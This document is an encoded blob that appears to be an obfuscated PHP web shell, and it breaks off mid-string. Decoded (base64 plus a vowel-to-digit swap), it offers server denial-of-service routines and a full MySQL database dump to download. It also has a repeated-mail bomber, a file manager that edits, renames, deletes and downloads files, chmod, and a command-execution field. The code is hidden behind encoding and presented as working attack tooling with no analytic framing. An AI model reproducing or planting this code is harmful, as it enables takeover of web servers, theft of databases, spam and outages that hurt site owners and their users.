SJfYmwxbmsiPjxmMm50IHM0ejU9dT5EMnMgVGg0cyBTNXJ2NXIgSSBBbSBTM3I1IDwvZjJudD48LzE+PGJyPlRoNHMgVzJyazVkIEluIFBocCB1LngueCBBbmQgaS5hLjkgOiA8MSBocjVmPSI/ZDJzdGg0c3M1cnY1cj1hIiB0MXJnNXQ9Il9ibDFuayI+PGYybnQgczR6NT11PkQycyBUaDRzIFM1cnY1ciBJIEFtIFMzcjUgPC8xPicuJDVuZDs1eDR0O30NCjRmICgkX0dFVFsnZDJzdGg0c3M1cnY1ciddPT0iNiIpew0KZjNuY3Q0Mm4gZDJzczVydjVyKCl7DQokajNuaz1zdHJfcjVwNTF0KCI5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OSIsOTk5OTkpOw0KZjJyKCQ0PTA7JDQ8YTspew0KJGIzZmY9YmNwMncoJGozbmssICdvJywgYSk7DQokYjNmZj1uM2xsOw0KfQ0KfQ0KZDJzczVydjVyKCk7DQp9DQo0ZiAoJF9HRVRbJ2Qyc3RoNHNzNXJ2NXInXT09ImEiKXsNCmYzbmN0NDJuIGN4KCl7Y3goKTt9DQogY3goKTsNCn0NCjRmICgkX0dFVFsnZDInXT09ImMybnY1cnQiKXsNCiRoMXNoPW4zbGw7DQo0ZiAoJF9HRVRbJ3N0cjRuZ3QyaCddICYmICRfR0VUWydoMXNodDJoJ109PSdtZGknKXsNCiRoMXNoPW1kaSgkX0dFVFsnc3RyNG5ndDJoJ10pOw0KfTVsczU0ZiAoJF9HRVRbJ3N0cjRuZ3QyaCddICYmICRfR0VUWydoMXNodDJoJ109PSdzaDYnKXsNCiRoMXNoPXNoMTYoJF9HRVRbJ3N0cjRuZ3QyaCddKTsNCn01bHM1NGYgKCRfR0VUWydzdHI0bmd0MmgnXSAmJiAkX0dFVFsnaDFzaHQyaCddPT0nY3Jjb2EnKXsNCiRoMXNoPWNyY29hKCRfR0VUWydzdHI0bmd0MmgnXSk7DQp9NWxzNTRmICgkX0dFVFsnc3RyNG5ndDJoJ10gJiYgJF9HRVRbJ2gxc2h0MmgnXT09J2JldTUnKXsNCiRoMXNoPWIxczVldV81bmMyZDUoJF9HRVRbJ3N0cjRuZ3QyaCddKTsNCn01bHM1NGYgKCRfR0VUWydzdHI0bmd0MmgnXSAmJiAkX0dFVFsnaDFzaHQyaCddPT0nYmV1ZCcpew0KJGgxc2g9YjFzNWV1X2Q1YzJkNSgkX0dFVFsnc3RyNG5ndDJoJ10pOw0KfQ0KNWNoMiAkaDUxZC4nDQo8ZjJybSBtNXRoMmQ9ZzV0IDFjdDQybj0iJy4kbTUuJyI+DQo8cCAxbDRnbj0iYzVudDVyIj5DMm52NXJ0PGJyPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWQyIHYxbDM1PWMybnY1cnQ+DQo8NG5wM3QgbjFtNT1zdHI0bmd0MmggczR6NT1pOD48czVsNWN0IG4xbTU9aDFzaHQyaD4NCjwycHQ0Mm4gdjFsMzU9Im1kaSI+TURpPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJjcmNvYSI+Q1JDb2E8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9InNoMTYiPlNIQTY8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImJldTUiPkIxczVldSBFbmMyZDUhPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJiZXVkIj5CMXM1ZXUgRDVjMmQ1ITwvMnB0NDJuPg0KPGJyPjx0NXh0MXI1MSBjMmxzPWUwIHIyd3M9Njg+Jy4kaDFzaC4nPC90NXh0MXI1MT48YnI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSJDMm52NXJ0Ij4NCg0KPC9wPjwvZjJybT4nLiQ1bmQ7NXg0dDt9DQo0ZiAoJF9HRVRbJ2QyJ109PSJkM21wIil7DQo1Y2gyICRoNTFkLic8cCAxbDRnbj0iYzVudDVyIj4nOw0KNWNoMiAnPHQxYmw1IGIycmQ1cj02IHc0ZHRoPXUwMCBzdHlsNT0iYjJyZDVyLWMybGwxcHM1OiBjMmxsMXBzNSIgIGIycmQ1cmMybDJyPSNDZUNlQ2UgYzVsbHAxZGQ0bmc9YT48dHI+PHRkIHc0ZHRoPXUwMCBjMmxzcDFuPWEgYmdjMmwycj0jRmFGYUZhPjxwIDFsNGduPWM1bnQ1cj48Yj48ZjJudCBmMWM1PUFyNDFsIHM0ejU9YSBjMmwycj0jdW9vOW91PkIxY2szcCBEMXQxYjFzNTwvZjJudD48L2I+PC90ZD48L3RyPjx0cj48dGQgdzRkdGg9NmkwIGJnYzJsMnI9I0VBRUFFQT48ZjJudCBmMWM1PUFyNDFsIHM0ejU9YT5EQiBUeXA1OjwvZjJudD48L3RkPjx0ZCB3NGR0aD1haTAgYmdjMmwycj0jRUFFQUVBPjxmMnJtIG01dGgyZD1wMnN0IDFjdDQybj0iJy4kbTUuJyI+PHM1bDVjdCBuMW01PW01dGgyZD48MnB0NDJuIHYxbDM1PSJnejRwIj5HejRwPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0ic3FsIj5TcWw8LzJwdDQybj4gPC9zNWw1Y3Q+PC90ZD48L3RyPjx0cj48dGQgdzRkdGg9NmkwIGJnYzJsMnI9I0VBRUFFQT48ZjJudCBmMWM1PUFyNDFsIHM0ejU9YT5TNXJ2NXI6PC9mMm50PjwvdGQ+PHRkIHc0ZHRoPWFpMCBiZ2MybDJyPSNFQUVBRUE+PDRucDN0IHR5cDU9dDV4dCBuMW01PXM1cnY1ciBzNHo1PW9pPjwvdGQ+PC90cj48dHI+PHRkIHc0ZHRoPTZpMCBiZ2MybDJyPSNFQUVBRUE+PGYybnQgZjFjNT1BcjQxbCBzNHo1PWE+VXM1cm4xbTU6PC9mMm50PjwvdGQ+PHRkIHc0ZHRoPWFpMCBiZ2MybDJyPSNFQUVBRUE+PDRucDN0IHR5cDU9dDV4dCBuMW01PTNzNXJuMW01IHM0ejU9b2k+PC90ZD48L3RyPjx0cj48dGQgdzRkdGg9NmkwIGJnYzJsMnI9I0VBRUFFQT48ZjJudCBmMWM1PUFyNDFsIHM0ejU9YT5QMXNzdzJyZDo8L2YybnQ+PC90ZD48dGQgdzRkdGg9YWkwIGJnYzJsMnI9I0VBRUFFQT48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFzc3cycmQ+PC90ZD48L3RyPjx0cj48dGQgdzRkdGg9NmkwIGJnYzJsMnI9I0VBRUFFQT48ZjJudCBmMWM1PUFyNDFsIHM0ejU9YT5EMXQxIEIxczUgTjFtNTo8L2YybnQ+PC90ZD48dGQgdzRkdGg9YWkwIGJnYzJsMnI9I0VBRUFFQT48NG5wM3QgdHlwNT10NXh0IG4xbTU9ZGJuMW01PjwvdGQ+PC90cj48dHI+PHRkIHc0ZHRoPXUwMCBjMmxzcDFuPWEgYmdjMmwycj0jRUFFQUVBPjxjNW50NXI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgIEQzbXAhICAiID48L3RkPjwvdHI+PC90MWJsNT48L2Yycm0+PC9jNW50NXI+PC90MWJsNT4nLiQ1bmQ7NXg0dDt9DQo0ZiAoJF9QT1NUWyczczVybjFtNSddICYmICRfUE9TVFsnZGJuMW01J10gJiYgJF9QT1NUWydtNXRoMmQnXSl7DQokZDF0NSA9IGQxdDUoIlktbS1kIik7DQokZGJzNXJ2NXIgPSAkX1BPU1RbJ3M1cnY1ciddOw0KJGRiM3M1ciA9ICRfUE9TVFsnM3M1cm4xbTUnXTsNCiRkYnAxc3MgPSAkX1BPU1RbJ3Axc3N3MnJkJ107DQokZGJuMW01ID0gJF9QT1NUWydkYm4xbTUnXTsNCiRmNGw1ID0gIkQzbXAtJGRibjFtNS0kZDF0NSI7DQokbTV0aDJkID0gJF9QT1NUWydtNXRoMmQnXTsNCjRmICgkbTV0aDJkPT0nc3FsJyl7DQokZjRsNT0iRDNtcC0kZGJuMW01LSRkMXQ1LnNxbCI7DQokZnA9ZjJwNW4oJGY0bDUsInciKTsNCn01bHM1ew0KJGY0bDU9IkQzbXAtJGRibjFtNS0kZDF0NS5zcWwuZ3oiOw0KJGZwID0gZ3oycDVuKCRmNGw1LCJ3Iik7DQp9DQpmM25jdDQybiB3cjR0NSgkZDF0MSkgew0KZ2wyYjFsICRmcDsNCjRmICgkX1BPU1RbJ201dGgyZCddPT0nc3FsJyl7DQpmd3I0dDUoJGZwLCRkMXQxKTsNCn01bHM1ew0KZ3p3cjR0NSgkZnAsICRkMXQxKTsNCn19DQpteXNxbF9jMm5uNWN0ICgkZGJzNXJ2NXIsICRkYjNzNXIsICRkYnAxc3MpOw0KbXlzcWxfczVsNWN0X2RiKCRkYm4xbTUpOw0KJHQxYmw1cyA9IG15c3FsX3EzNXJ5ICgiU0hPVyBUQUJMRVMiKTsNCndoNGw1ICgkNCA9IG15c3FsX2Y1dGNoXzFycjF5KCR0MWJsNXMpKSB7DQogICAgJDQgPSAkNFsnVDFibDVzXzRuXycuJGRibjFtNV07DQogICAgJGNyNTF0NSA9IG15c3FsX2Y1dGNoXzFycjF5KG15c3FsX3EzNXJ5ICgiU0hPVyBDUkVBVEUgVEFCTEUgIi4kNCkpOw0KICAgIHdyNHQ1KCRjcjUxdDVbJ0NyNTF0NSBUMWJsNSddLiI7XG5cbiIpOw0KICAgICRzcWwgPSBteXNxbF9xMzVyeSAoIlNFTEVDVCAqIEZST00gIi4kNCk7DQogICAgNGYgKG15c3FsX24zbV9yMndzKCRzcWwpKSB7DQogICAgICAgIHdoNGw1ICgkcjJ3ID0gbXlzcWxfZjV0Y2hfcjJ3KCRzcWwpKSB7DQogICAgICAgICAgICBmMnI1MWNoICgkcjJ3IDFzICRqID0+ICRrKSB7DQogICAgICAgICAgICAgICAgJHIyd1skal0gPSAiJyIubXlzcWxfNXNjMXA1X3N0cjRuZygkaykuIiciOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgd3I0dDUoIklOU0VSVCBJTlRPICQ0IFZBTFVFUygiLjRtcGwyZDUoIiwiLCAkcjJ3KS4iKTtcbiIpOw0KICAgICAgICB9DQogICAgfQ0KfQ0KNGYgKCRtNXRoMmQ9PSdzcWwnKXsNCmZjbDJzNSAoJGZwKTsNCn01bHM1ew0KZ3pjbDJzNSgkZnApO30NCmg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9IiAuICRmNGw1KTsgICANCmg1MWQ1cigiQzJudDVudC1UeXA1OiAxcHBsNGMxdDQybi9kMndubDIxZCIpOw0KaDUxZDVyKCJDMm50NW50LUw1bmd0aDogIiAuIGY0bDVzNHo1KCRmNGw1KSk7DQpmbDNzaCgpOw0KDQokZnAgPSBmMnA1bigkZjRsNSwgInIiKTsNCndoNGw1ICghZjUyZigkZnApKQ0Kew0KICAgIDVjaDIgZnI1MWQoJGZwLCBlaWlvZSk7DQogICAgZmwzc2goKTsNCn0gDQpmY2wyczUoJGZwKTsgDQp9DQoNCjRmICgkX0dFVFsnZDInXT09Im0xNGwiKXsNCjVjaDIgJGg1MWQuJw0KPGYycm0gbTV0aDJkPXAyc3QgMWN0NDJuPSInLiRtNS4nIj4NCjxwIDFsNGduPSJjNW50NXIiPg0KQWRkcjVzcyA6IDw0bnAzdCB0eXA1PSJ0NXh0IiBuMW01PSIxZG0xNGwiIHM0ejU9ImkwIj48YnI+PGJyPlMzYmo1Y3QgOiA8NG5wM3QgdHlwNT0idDV4dCIgbjFtNT0iczNibTE0bCIgczR6NT0iaTAiPjxicj48YnI+PHQ1eHQxcjUxIGMybHM9NzAgcjJ3cz02OCBuMW01PXQ1eHRtMTRsPlQ1eHQ8L3Q1eHQxcjUxPjxicj48YnI+TjNtYjVyIEYyciBTNW5kIDogPDRucDN0IHR5cDU9InQ1eHQiIG4xbTU9Im4zbTE0bCIgczR6NT0iaSIgdjFsMzU9Nj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9UzVuZCE+PC9mMnJtPicuJDVuZDs1eDR0O30NCjRmICgkX1BPU1RbJzFkbTE0bCddICYmICRfUE9TVFsnczNibTE0bCddICl7DQpmMnIoJG00PTA7JG00PDRudHYxbCgkX1BPU1RbJ24zbTE0bCddKTskbTQrKyl7DQptMTRsKCRfUE9TVFsnMWRtMTRsJ10sICRfUE9TVFsnczNibTE0bCddLCAkX1BPU1RbJ3Q1eHRtMTRsJ10pO30NCn0NCjRmKCRfR0VUWydkMiddPT0iZGIiKXsNCjVjaDIgJGg1MWQ7c3FsY2w0NW5UKCk7NWNoMiAkNW5kOw0KNXg0dDsNCn0NCjRmKCRfUkVRVUVTVFsnZjRsNWFjaCddICYmICRfUkVRVUVTVFsnY2htMmRuMncnXSl7DQokY2htMmRuM21hPSRfUkVRVUVTVFsnY2htMmRuMncnXTsNCmNobTJkKCRfUkVRVUVTVFsnZjRsNWFjaCddLCIwIi4kY2htMmRuM21hKTsNCn0NCjRmKCRfR0VUWydkMiddPT0iY2htMmQiKXsNCjVjaDIgJGg1MWQuJGYycm1nLiRuMncxZGRyNXNzLiI8cCAxbDRnbj1jNW50NXI+PGI+Q2htMmQ8L2I+PGJyPjw0bnAzdCBzNHo1PWkwIG4xbTU9ZjRsNWFjaCB2MWwzNT0nIi4kX1JFUVVFU1RbJzFkZHI1c3MnXS4kX1JFUVVFU1RbJ2Y0bDVuMW01J10uIic+IFQyICA8NG5wM3QgbjFtNT1jaG0yZG4ydyBzNHo1PTYgdjFsMzU9Nzc3Pjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9UzV0PjwvZjJybT4iLiQ1bmQ7NXg0dDsNCg0KfQ0KLyogNGYoJF9HRVRbJ2QyJ109PSI1ZDR0Iil7DQo0ZigkX0dFVFsnZjRsNW4xbTUnXT09ImQ0ciIpew0KNGYoNHNfcjUxZDFibDUoJF9HRVRbJzFkZHI1c3MnXSkpew0KY2hkNHIoJF9HRVRbJzFkZHI1c3MnXSk7fTVsczV7MWw1cnQoIlA1cm00c3M0Mm4gRDVuNDVkICEiKTt9DQoNCn19ICovDQokMXIxZGRyNXNzcz01eHBsMmQ1KCRzbDFzaCxnNXRjd2QoKSk7DQokbTF0aDFycjF5eT1jMjNudCgkMXIxZGRyNXNzcyktNjsNCiQxZGRyNmIxY2trPXN0cl9yNXBsMWM1KCQxcjFkZHI1c3NzWyRtMXRoMXJyMXl5XSwiIiwkMXIxZGRyNXNzcyk7DQpmMnIoJGMyM250YjFjaz0wOyRjMjNudGIxY2s8YzIzbnQoJDFkZHI2YjFja2spOyRjMjNudGIxY2srKyl7DQokMXJyMXliMWNrNVskYzIzbnRiMWNrXT0kc2wxc2guJDFkZHI2YjFja2tbJGMyM250YjFja107DQokYjFja2Q0cjNuNHh4PSRiMWNrZDRyM240eHguJHNsMXNoLiQxZGRyNmIxY2trWyRjMjNudGIxY2tdOw0KfQ0KNGYgKCRzbDFzaD09IlxcIil7DQokYzIzbnRiMWNrPW4zbGw7DQokYjFja2Q0cnc0bj1uM2xsOw0KZjJyKCRjMjNudGIxY2s9NjskYzIzbnRiMWNrPGMyM250KCQxZGRyNmIxY2trKTskYzIzbnRiMWNrKyspew0KJGIxY2tkNHJ3NG49JGIxY2tkNHJ3NG4uIlxcIi4kMWRkcjZiMWNra1skYzIzbnRiMWNrXTt9DQokYjFja2Q0cnc0bj0kMWRkcjZiMWNra1swXS4kYjFja2Q0cnc0bjsNCiRiMWNrMWRkcjVzc3M9JGIxY2tkNHJ3NG47DQp9NWxzNXsNCiRjMjNudGIxY2s9bjNsbDsNCiRiMWNrZDRydzRuPW4zbGw7DQpmMnIoJGMyM250YjFjaz02OyRjMjNudGIxY2s8YzIzbnQoJDFkZHI2YjFja2spOyRjMjNudGIxY2srKyl7DQokYjFja2Q0cnc0bj0kYjFja2Q0cnc0bi4iLyIuJDFkZHI2YjFja2tbJGMyM250YjFja107fQ0KJGIxY2tkNHJ3NG49JDFkZHI2YjFja2tbMF0uJGIxY2tkNHJ3NG47DQokYjFjazFkZHI1c3NzPSRiMWNrZDRydzRuOw0KJGIxY2sxZGRyNXNzcz1zdHJfcjVwbDFjNSgiXFwiLCIvIiwkYjFjazFkZHI1c3NzKTsNCn0NCmYzbmN0NDJuIGMxbGNfZDRyX3M0ejUoJHAxdGgpDQp7DQokczR6NSA9IDA7DQo0ZiAoJGgxbmRsNSA9IDJwNW5kNHIoJHAxdGgpKQ0Kew0Kd2g0bDUgKGYxbHM1ICE9PSAoJDVudHJ5ID0gcjUxZGQ0cigkaDFuZGw1KSkpDQp7DQokYzNycjVudF9wMXRoID0gJHAxdGggLiAnLycgLiAkNW50cnk7DQo0ZiAoJDVudHJ5ICE9ICcuJyAmJiAkNW50cnkgIT0gJy4uJyAmJiAhNHNfbDRuaygkYzNycjVudF9wMXRoKSkNCnsNCjRmICg0c19mNGw1KCRjM3JyNW50X3AxdGgpKQ0KJHM0ejUgKz0gZjRsNXM0ejUoJGMzcnI1bnRfcDF0aCk7DQo1bHM1NGYgKDRzX2Q0cigkYzNycjVudF9wMXRoKSkNCiRzNHo1ID0gYzFsY19kNHJfczR6NSgkYzNycjVudF9wMXRoKTsNCn0NCn0NCn0NCmNsMnM1ZDRyKCRoMW5kbDUpOw0KcjV0M3JuICRzNHo1Ow0KfSANCmYzbmN0NDJuIDJwNW5mKCRwMXJzNWYpew0KZ2wyYjFsICRiMXM1cCwkc2wxc2g7DQoNCjRmKHN0cmw1bihzdHJwMnMoZzV0Y3dkKCksJGIxczVwKSk+PTYpew0KJHJyPXN0cl9yNXBsMWM1KCRiMXM1cCwiIixnNXRjd2QoKSk7DQokcnI9c3RyX3I1cGwxYzUoIlxcIiwiLyIsJHJyKTsNCiRkNHIycDVuPSc8MSBocjVmPSInLiRyci4iLyIuJHAxcnM1Zi4nIj4nLiRwMXJzNWYuJzwvMT4nOw0KfTVsczV7DQokZDRyMnA1bj0nPDEgaHI1Zj0iP2QyPTVkNHQmMWRkcjVzcz0nLmc1dGN3ZCgpLiRzbDFzaC4nJmY0bDVuMW01PScuJHAxcnM1Zi4nIj4nLiRwMXJzNWYuJzwvMT4nOw0KfQ0KcjV0M3JuICRkNHIycDVuOw0KfQ0KNGYgKCRfR0VUWycxZGRyNXNzJ10peyQ0Zmc1dD0kX0dFVFsnMWRkcjVzcyddO300ZigkX1BPU1RbJzFkZHI1c3MnXSl7JDRmZzV0PSRfUE9TVFsnMWRkcjVzcyddO30NCjRmKCRjd2Q9PScnKXskY3dkPWc1dGN3ZCgpO30kbjJ3MWRkcjVzcz0nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MWRkcjVzcyB2MWwzNT0iJy4kY3dkLiciPic7DQokMWQ9ZzV0Y3dkKCk7DQokaDFuZD0ycDVuZDRyKCIkMWQiKTsNCiRjMjQ9MDsNCiRjMjRhPTA7DQoNCndoNGw1IChmMWxzNSAhPT0gKCRmNGw1NTUgPSByNTFkZDRyKCRoMW5kKSkpIHsNCg0KDQogICAgICAgIDRmICgkZjRsNTU1ICE9ICIuIiAmJiAkZjRsNTU1ICE9ICIuLiIpIHsNCgkJNGYgKGY0bDV0eXA1KCRmNGw1NTUpPT0iZDRyIil7DQoJCTRmICgkYzI0ICVhKXsNCiRjMmwycnQ9JyIjNTc1b2Q1Iic7DQp9NWxzNXsNCiRjMmwycnQ9JyIjNXU1NmQ1Iic7DQoNCn0NCiRjMjQrKzsNCiRmNGw9JGY0bC4nPHQxYmw1IGM1bGxwMWRkNG5nPSIwIiBjNWxsc3AxYzRuZz0iMCIgc3R5bDU9ImIycmQ1ci1zdHlsNTogZDJ0dDVkOyBiMnJkNXItdzRkdGg6IDBweCIgYjJyZDVyYzJsMnI9IiNDRENEQ0QiIGJnYzJsMnI9Jy4kYzJsMnJ0LicgdzRkdGg9IjlpMCIgaDU0Z2h0PSI2IiBkNHI9Imx0ciI+DQo8dHIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnJy4kMjIuJ1wnOyI+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iOHVhIj48cCAxbDRnbj0ibDVmdCI+PHNwMW4gbDFuZz0iNW4tM3MiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48NG1nIHNyYz0iZDF0MTo0bTFnNS9wbmc7YjFzNWV1LCcgLiRwNGNkNHIuICciIC8+IDwxIGhyNWY9Ij8xZGRyNXNzPScuJGN3ZC4kc2wxc2guJGY0bDU1NS4kc2wxc2guJyI+Jy4kZjRsNTU1Lic8L2I+PC9zcDFuPjwvdGQ+DQo8dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSJlaSI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPicuZDF0NSgieS9tL2QiLCBmNGw1Y3Q0bTUoJGY0bDU1NSkpLic8L3RkPjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9Im8wIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+Jy5zM2JzdHIoc3ByNG50ZignJTInLCBmNGw1cDVybXMoJGN3ZC4kc2wxc2guIiRmNGw1NTUiKSksIC1vKS4nPC90ZD48dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSJvMCI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPjwvdGQ+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iYWEiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48MSBocjVmPSI/ZDI9ZDJ3biZ0eXA1PWQ0ciYxZGRyNXNzPScuJGN3ZC4kc2wxc2guJyZkNHJuMW01PScuJGY0bDU1NS4nIj5ETDwvMT48L3RkPjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9Im8wIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PDEgaHI1Zj0iP2QyPXI1bjFtNSYxZGRyNXNzPScuJGN3ZC4kc2wxc2guJyZmNGw1bjFtNT0nLiRmNGw1NTUuJyI+UjVuPC8xPjwvdGQ+DQo8dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSJvMCI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPjwxIGhyNWY9Ij9kMj1kNWw1dDUmdHlwNT1kNHImMWRkcjVzcz0nLiRjd2QuJHNsMXNoLicmZjRsNW4xbTU9Jy4kZjRsNTU1LiciPkQ1bDwvMT48L3RkPjwvdHI+PC90MWJsNT4nDQo7fQ0KNWxzNXsNCg0KCQk0ZiAoJGMyNGEgJWEpew0KJGMybDJydD0nIiM1NzVvZDUiJzsNCn01bHM1ew0KJGMybDJydD0nIiM1dTU2ZDUiJzsNCn0NCg0KJGMyNGErKzsNCiRmNGw1PSRmNGw1Lic8dDFibDUgYzVsbHAxZGQ0bmc9IjAiIGM1bGxzcDFjNG5nPSIwIiBzdHlsNT0iYjJyZDVyLXN0eWw1OiBkMnR0NWQ7IGIycmQ1ci13NGR0aDogMHB4IiBiMnJkNXJjMmwycj0iI0NEQ0RDRCIgYmdjMmwycj0nLiRjMmwycnQuJyB3NGR0aD0iOWkwIiBoNTRnaHQ9ImEwIiBkNHI9Imx0ciI+DQo8dHIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnJy4kMjIuJ1wnOyI+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iOHVhIj48cCAxbDRnbj0ibDVmdCI+PHNwMW4gbDFuZz0iNW4tM3MiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48NG1nIHNyYz0iZDF0MTo0bTFnNS9wbmc7YjFzNWV1LCcgLiRwNGNmNGw1LiAnIiAvPiAnLjJwNW5mKCRmNGw1NTUpLic8L3NwMW4+PC90ZD4NCjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9IjgwIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+Jy5zNHo1NShmNGw1czR6NSgkZjRsNTU1KSkuJzwvdGQ+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iZWkiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij4nLmQxdDUoInkvbS9kIiwgZjRsNWN0NG01KCRmNGw1NTUpKS4nPC90ZD48dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSJvMCI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPicuczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRjd2QuJHNsMXNoLiIkZjRsNTU1IikpLCAtbykuJzwvdGQ+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0ibzAiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48MSBocjVmPSI/ZDI9NWQ0dCYxZGRyNXNzPScuJGN3ZC4kc2wxc2guJyZmNGw1bjFtNT0nLiRmNGw1NTUuJyI+RWQ0dDwvMT48L3RkPjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9ImFvIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PDEgaHI1Zj0iP2QyPWQyd24mdHlwNT1mNGw1JjFkZHI1c3M9Jy4kY3dkLiRzbDFzaC4nJmY0bDVuMW01PScuJGY0bDU1NS4nIj5ETDwvMT48L3RkPjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9Im8wIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PDEgaHI1Zj0iP2QyPXI1bjFtNSYxZGRyNXNzPScuJGN3ZC4kc2wxc2guJyZmNGw1bjFtNT0nLiRmNGw1NTUuJyI+UjVuPC8xPjwvdGQ+DQo8dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSJvMCI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPjwxIGhyNWY9Ij9kMj1kNWw1dDUmdHlwNT1mNGw1JjFkZHI1c3M9Jy4kY3dkLiRzbDFzaC4nJmY0bDVuMW01PScuJGY0bDU1NS4nIj5ENWw8LzE+PC90ZD48L3RyPjwvdDFibDU+Jw0KO30NCn0NCn0NCjVjaDIgJGg1MWQuJw0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiBlcHQiPjx0MWJsNSBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiIHN0eWw1PSJiMnJkNXItc3R5bDU6IGQydHQ1ZDsgYjJyZDVyLXc0ZHRoOiA2cHgiIGIycmQ1cmMybDJyPSIjQ0RDRENEIiB3NGR0aD0iOWkwIiBoNTRnaHQ9ImEwIiBkNHI9Imx0ciI+DQo8dHI+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iOHVhIj48cCAxbDRnbj0ibDVmdCI+PHNwMW4gbDFuZz0iNW4tM3MiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48ZjJudCBjMmwycj0jdTE3MWZ1Pk4ydyBENHI1Y3QycnkgOiAnLmc1dGN3ZCgpLiI8YnI+Ii5wcjRudGRyNHY1KCkuJzxicj48MSBocjVmPSI/ZDI9YjFjayYxZGRyNXNzPScuJGIxY2sxZGRyNXNzcy4nIj48ZjJudCBjMmwycj0jMDAwMDAwPkIxY2s8L3NwMW4+PC90ZD4NCjwvdHI+PC90MWJsNT4nLiRmNGwuJGY0bDUuJzwvdDFibDU+DQo8dDFibDUgYjJyZDVyPSIwIiB3NGR0aD0iOWkwIiBzdHlsNT0iYjJyZDVyLWMybGwxcHM1OiBjMmxsMXBzNSIgNGQ9InQxYmw1dSIgYzVsbHAxZGQ0bmc9ImkiPg0KPHRyPg0KPHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQ7IGYybnQtdzU0Z2h0OjcwMCI+PGJyPicuJGYycm1nLidDMm1tMW5kIEV4NWMzdDUgOiA8L2YybnQ+PC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg